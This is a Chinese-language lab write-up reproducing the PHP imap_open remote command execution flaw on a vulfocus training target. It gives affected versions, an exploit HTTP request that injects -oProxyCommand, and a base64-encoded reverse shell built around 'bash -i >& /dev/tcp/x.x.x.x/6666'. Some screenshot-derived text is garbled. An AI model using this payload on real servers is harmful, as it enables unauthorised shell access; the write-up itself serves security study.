

P11-1PHP-imap-RCE

漏洞描述：

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接，则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec受影响软件中的功能，攻击者可利用这些功能在目标系统上执行任意shell命令。利用此漏洞的功能代码是Metasploit Framework的一部分。

影响版本：

PHP 5.6.0版本至5.6.38版本
7.0.0版本至7.0.32版本
7.1.0版本至7.1.24版本
7.2.0版本至7.2.12版本
Debian Linux 8.0版本，9.0版本

漏洞复现：

为了方便，这里我们使用vulfocus靶场复现

VULFOCUS

首页

用户

积分总榜

场景

公告列表

● 首页

用户 ×

查询

难易程度

全部

入门

初级

开发语言

全部

Go

PHP

漏洞类型

全部

配置错误

CSF

数据库

全部

PostgreSQL

框架

全部

Jenkins

Boots

全部

已启动

2

phpimap 命令执行 (CVE-2018-19512)

它的主要作用是邮件客户端(例如MS Outlook Expre...

启动

15

通关

5、利用流程

1、开启靶场环境，访问漏洞地址，bp开启抓包，点击submit

← → ×

🛡️ 123.58.224.8:46761

Test your email server

Server address

Username

Password

Submit

2、发送Repeater模块，直接上EXP进行漏洞利用（老规矩，RCE的洞我们直接getshell）

✎ Request to http://123.58.224.8:46761

Forward

Drop

Intercept is on

Action

Raw

Params

Headers

Hex

POST / HTTP/1.1

Host: 123.58.224.8:46761

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:1

Accept: text/html,application/xhtml+xml,application/xml;q=0

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

Origin: http://123.58.224.8:46761

Connection: close

Referer: http://123.58.224.8:46761/

Cookie: metabase.DEVICE=b8815e48-64f7-450d-a66e-f190d

Hm_lvt_deaeca6802357287fb453f342ce28dda=1670497101;

Upgrade-Insecure-Requests: 1

hostname=&username=&password=

Scan

Send to Intruder Ctrl+I

Send to Repeater Ctrl+R

Send to Sequencer

Send to Comparer

Send to Decoder

Request in browser ▶

Engagement tools ▶

Change request method

Change body encoding

Copy URL

Copy as curl command

Copy to file

Paste from file

Save item

Don't intercept requests ▶

EXP如下：

```
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

hostname=x+-oProxyCommand%3decho%09[base64的反弹shell指令]|base64%09-d|sh}&username=111&password=222
```

指令示例：echo 'bash -i >& /dev/tcp/x.x.x.x/6666 0>&1'>/tmp/test #输出反弹shell指令写到tmp目录的test文件

```
hostname=x+-
oProxyCommand%3decho%09ZWNobyAnYmFzaCAtaSA%2bJiAv. /4LzY2NjYgM
%09-d|sh}&username=111&password=222
```

2、编辑好exp发送请求，这里已经创建了test文件了

```
HTTP/1.1 200 OK
Date: Mon, 26 Dec 2022 15:49:14 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.38
Vary: Accept-Encoding
Content-Length: 1962
Connection: close
Content-Type: text/html; charset=UTF-8

<!doctype html>
<html lang="en">
<head>
  <!-- Required meta tags -->
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-wi
  <!-- Bootstrap CSS -->
  <link rel="stylesheet" href="https://cdn.jsdelivrn
  integrity="sha256-eSi1 q2PG6J7 g7ib17yAaWMcrr5Gr
  <title>Input your email server</title>
</head>
<body>
```